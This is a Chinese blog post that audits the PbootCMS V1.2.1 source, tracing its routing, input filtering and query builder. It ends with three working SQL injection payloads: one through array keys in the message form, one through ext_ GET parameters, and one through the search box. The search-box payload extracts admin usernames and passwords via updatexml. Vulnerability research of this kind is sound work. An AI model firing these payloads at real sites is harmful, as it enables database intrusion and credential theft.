PHP代码审计之Pbootcms代码审计

admin 2021年9月29日22:15:42PHP代码审计之Pbootcms代码审计已关闭评论353 views字数 9303阅读31分0秒阅读模式

MVC的探索

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PbootCMS-V1.2.1
├─ apps 应用程序
│ ├─ admin 后台模块
│ ├─ api api模块
│ ├─ common 公共模块
│ ├─ home 前台模块
├─ config 配置文件
│ ├─ config.php 配置文件
│ ├─ database.php 数据库配置文件
│ ├─ route.php 用户自定义路由规则
├─ core 框架核心
│ ├─ function 框架公共函数库
│ │ ├─ handle.php 助手函数库1
│ │ ├─ helper.php 助手函数库2
├─ template html模板
├─ admin.php 管理端入口文件
├─ api.php api入口文件
├─ index.php 前端入口文件

这里有mvc动态路由和自定义路由,这里举个自定义路由的例子

自定义路由位于config/route.php下,路由表中添加了’home/666/test’ => ‘home/about/test’

这里的home就是定义的index.php,所以访问url/index.php/666/test就可以访问到home模块about控制器下的test方法

image-20210815194022143

image-20210815194556332

image-20210815194543724

image-20210815194519189

内核分析

原生GET,POST,REQUEST

使用原生GET,POST,REQUEST变量是完全不过滤的

Message控制器中进行测试,这里先在message写上我们的测试方法

image-20210815210509224

系统获取变量函数

这个文件位于/core/function/handle.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape_string($string, $dropStr = true)
{
if (! $string)
return $string;
if (is_array($string)) {
foreach ($string as $key => $value) {
$string[$key] = escape_string($value);
}
} elseif (is_object($string)) {
foreach ($string as $key => $value) {
$string->$key = escape_string($value);
}
} else {
if ($dropStr) {
$string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string);
}
$string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8');
$string = addslashes($string);
}
return $string;
}

这里政策匹配的0x7e,0x27,updatexml,extractvalue等东西,并且对string进行了html实体化编码以及addslashes函数

基本防止了sql注入和xss,我们如果想要找注入必须没有经过这个过滤,但是这里也可以使用双写绕过

数据库内核

这里从头分析,这里我随便找一个控制器,以messagecontroller这个控制器为例

首先,这个php文件里只定义了一个对象以及他的一些方法

messagecontroller有一个属性,是model属性,有一个构造函数,这个构造函数把model属性初始化成了一个ParserModel对象,所以后面的$this->model都是这个初始化出来的ParserModel对象。

image-20210816124127461

我们可以来看看这个ParserMode对象是怎么定义的

这个对象里有很多获取信息的方法,我们这里找个简单的吧,随便找一个

image-20210816124536006

这里有一个parrent::关键字,他是调用父类方法,他的父类是model

我们来看看他这个父类方法,直接转到table所在的位置

image-20210816124835374

他这里首先判断了传入的$table是不是数组,如果不是,就把传入的$table给到自己的table属性,然后返回带有这个table属性的对象,所以函数的返回值是model这个对象

然后继续调用了这个属性的where方法,还是判断了一下传入的东西是什么,然后返回了这个对象,然后继续调用了value方法

image-20210816125321322

看他的注释我们知道 value方法是返回指定字段的一条数据的值模式 我们继续翻一下这个model应该有个数据查询函数 找到后发现

这个数据查询函数是select()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
final public function select($type = null)
{

if (is_callable($type)) {
$type($this);
return $this->select();
}

if (! isset($this->sql['field']))
$this->sql['field'] = '*';


if (isset($this->sql['paging']) && $this->sql['paging']) {

$count_sql = $this->buildSql($this->countSql, false);

if (! ! $rs = $this->getDb()->one($count_sql)) {
$total = $rs->sum;

$limit = Paging::getInstance()->limit($total, true);

$this->limit($limit);
}
}

$sql = $this->buildSql($this->selectSql);
if ($type === false) {
return $sql;
}
$result = $this->getDb()->all($sql, $type);
return $this->outData($result);
}

这个select()方法会自动构造sql查询语句并且返回他的查询结果,构造语句的函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private function buildSql($sql, $clear = true)
{
preg_match_all('/%([w]+)%/', $sql, $matches);
foreach ($matches[1] as $key => $value) {
if (isset($this->sql[$value]) && $this->sql[$value]) {
$sql = str_replace("%$value%", $this->sql[$value], $sql);
} else {
if ($value == 'table') {
$sql = str_replace("%$value%", $this->table, $sql);
} else {
$sql = str_replace("%$value%", '', $sql);
}
}
}

$this->exeSql[] = $sql;
if ($clear) {
$this->pk = 'id';
$this->autoTimestamp = false;
$this->intTimeFormat = false;
$this->updateTimeField = 'update_time';
$this->createTimeField = 'create_time';
$this->sql = array();
}

if ($this->showSql && $clear) {
exit($sql . '<br />');
} else {
return $sql;
}
}

对这个函数进行分析,大概就是先把先定义好的sql语句中的对应位置替换上去,然后返回sql语句

image-20210816131550029

构造完sql查询语句以后,进行了$result = $this->getDb()->all($sql, $type);

大概看这代码就知道他是什么意思,返回查询结果,不急,最好还是先看看

image-20210816131743770

getDb就是看看我们使用的什么类型的数据库,这里我们是mysql数据库,所以他会自动初始化一个mysqli的对象,然后调用这个对象的all()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function all($sql, $type = null)
{
$result = $this->query($sql, 'slave');
$rows = array();
if ($this->slave->affected_rows) {
if ($type) {
while (! ! $array = $result->fetch_array($type)) {
$rows[] = $array;
}
} else {
while (! ! $objects = $result->fetch_object()) {
$rows[] = $objects;
}
}
$result->free();
}
return $rows;
}

大概就是执行数据库查询语句然后返回查询结果

通过这样下来,我们可以大概了解到他整个一个查询数据的过程,然后我们来测试一下大概是不是这样的

我们先随便建个数据表加点数据

image-20210816132643619

然后我们在messagecontroller控制器下是通过model属性也就是初始化过后的ParserModel对象中的方法来实现的,所以我们在ParserModel对象中定义一个方法

1
2
3
4
public function getUser($id)
{
return parent::table("ay_testUser")->where("id=".$id)->select();
}

然后我们再去messagecontroller控制器中使用他

1
2
3
4
5
6
public function test1()
{
$id = get("id");
$result = $this->model->getUser($id);
var_dump($result);
}

然后这时候我们来试试能不能使用

访问url/index.php/message/test1/?id=111

image-20210816134109814

漏洞挖掘

留言处 insert sql注入

我们通过上面的系统获取变量函数进行分析,可以知道,传入的参数会自动进行过滤,但是对数组中的键不会,只会过滤键值

既然我们这里是用数组中的键来进行注入,那么我们就需要找到一个能接收键的地方

这里我们找到了留言处,这里可以接收键

首先读取了数据库留言表字段,返回一个三维数组,数组table_name 为数据表名,name分别即为contactsmobile,content,这里用处即为作为 post接收数据的键,具体思路可以看下图

image-20210817100045355

继续往下,遇到了一个if语句,是设置额外数据的,对我们这里没啥用,直接跳过

然后使用了addmessage()函数,我们追踪这个函数看看

1
2
3
4
public function addMessage($data)
{
return parent::table('ay_message')->autoTime()->insert($data);
}

autotime()是自动插入时间,insert()是插入数据,直接来看insert()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
final public function insert(array $data = array(), $batch = true)
{

if (! $data && isset($this->sql['data'])) {
return $this->insert($this->sql['data']);
}
if (is_array($data)) {

if (! $data)
return;
if (count($data) == count($data, 1)) {
$keys = '';
$values = '';
foreach ($data as $key => $value) {
if (! is_numeric($key)) {
$keys .= "`" . $key . "`,";
$values .= "'" . $value . "',";
}
}
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
$keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
if ($this->intTimeFormat) {
$values .= "'" . time() . "','" . time() . "',";
} else {
$values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
}
}
if ($keys) {
$this->sql['field'] = '(' . substr($keys, 0, - 1) . ')';
} elseif (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$this->sql['value'] = "(" . substr($values, 0, - 1) . ")";
$sql = $this->buildSql($this->insertSql);
} else {
if ($batch) {
$key_string = '';
$value_string = '';
$flag = false;
foreach ($data as $keys => $value) {
if (! $flag) {
$value_string .= ' SELECT ';
} else {
$value_string .= ' UNION All SELECT ';
}
foreach ($value as $key2 => $value2) {

if (! $flag && ! is_numeric($key2)) {
$key_string .= "`" . $key2 . "`,";
}
$value_string .= "'" . $value2 . "',";
}
$flag = true;
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
if ($this->intTimeFormat) {
$value_string .= "'" . time() . "','" . time() . "',";
} else {
$value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',";
}
}
$value_string = substr($value_string, 0, - 1);
}
if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) {
$key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,";
}
if ($key_string) {
$this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')';
} elseif (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$this->sql['value'] = $value_string;
$sql = $this->buildSql($this->insertMultSql);

if (get_db_type() == 'mysql') {
$max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2);
} else {
$max_allowed_packet = 1 * 1024 * 1024;
}
if (strlen($sql) > $max_allowed_packet) {
return $this->insert($data, false);
}
} else {
foreach ($data as $keys => $value) {
$result = $this->insert($value);
}
return $result;
}
}
} elseif ($this->sql['from']) {
if (isset($this->sql['field']) && $this->sql['field']) {
$this->sql['field'] = "({$this->sql['field']})";
}
$sql = $this->buildSql($this->insertFromSql);
} else {
return;
}
return $this->getDb()->amd($sql);
}

第一个if语句判断是否传递了数据,直接跳过,第二个if语句判断$data是否是数组,然后判断了是否是一维数组,如果不是跳入else,由于我们这里之前传入的contacts应为一个数组,所以我们这里应该直接进入第二个if语句的else

image-20210817102210608

image-20210817104724001

poc

1
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 111&mobile=111&content=111&checkcode=111

image-20210817104202161

PS:复现了三天,原作者给了poc,目前卡在调试这块,还不是特别懂,只是对代码分析了一遍。这里phpstorm配合xdebug调试,在网页里传入的是contacts,但是我不知道怎么让他在phpstorm里改成contacts[xxx]这样的形式,所以后面调试也没法进行下去

前台首页sql注入

PbootCMS/apps/home/controller/IndexController.php, index 方法:

1
$content = $this->parser->parserAfter($content); 

跟进这个parserAfter($content)函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function parserSpecifyListLabel($content)
{
...

$where2 = array();
foreach ($_GET as $key => $value) {
if (substr($key, 0, 4) == 'ext_') {
$where2[$key] = get($key);
}
}
...

if ($page) {
$data = $this->model->getList($scode, $num, $order, $where1, $where2);
} else {
$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2);
}
}

这里先是接受所有get请求过来的参数,判断前四个字符是不是ext_,存在where2这个数组里

然后再调用$this->model->getspecifyList这个方法,过滤了value没有过滤key所以有注入

image-20210817183307633

这里最后的payload:

1
http://url/index.php/Index?ext_xxx%3D1/**/and/**/updatexml(1,concat(0x7e,(select/**/concat(0x23,database(),0x23)),0x7e),1));%23

这里有个坑,就是传入的sql注入语句中,=和#是要用url编码来表示,这里如果直接使用=和#是不行的,具体原因我也还在研究

搜索框sql注入

位于PbootCMS/apps/home/controller/SearchController.php中 index 方法

1
2
3
4
5
6
7
8
9
10
public function index()
{
$content = parent::parser('search.html');
$content = $this->parser->parserBefore($content);
$content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index'));
$content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索结果', url('/home/Search/index'));
$content = $this->parser->parserSearchLabel($content);
$content = $this->parser->parserAfter($content);
$this->cache($content, true);
}

跟进$this->parser->parserSearchLabel这个

image-20210817191922614

和前台首页sql注入一样会接收所有get类型的参数给where2数组

image-20210817192056267

然后就是进行getlist(),进行数据的读取,大概和前台首页sql注入差不多

Payload:

1
keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123

总结

这次pboot的代码审计是我照着yanmie师傅的文章一步步复现的,除了原本yanmie师傅文章的内容,也加了我一些个人在代码审计上分析的思路,不一定对,如果有错还是希望师傅纠正

yanmie师傅的文章地址:https://www.freebuf.com/articles/web/265763.html

相关推荐: 经验分享 | PHP-反序列化(超细的)

这是F12sec的第60篇原创 申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月29日22:15:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP代码审计之Pbootcms代码审计http://cn-sec.com/archives/560394.html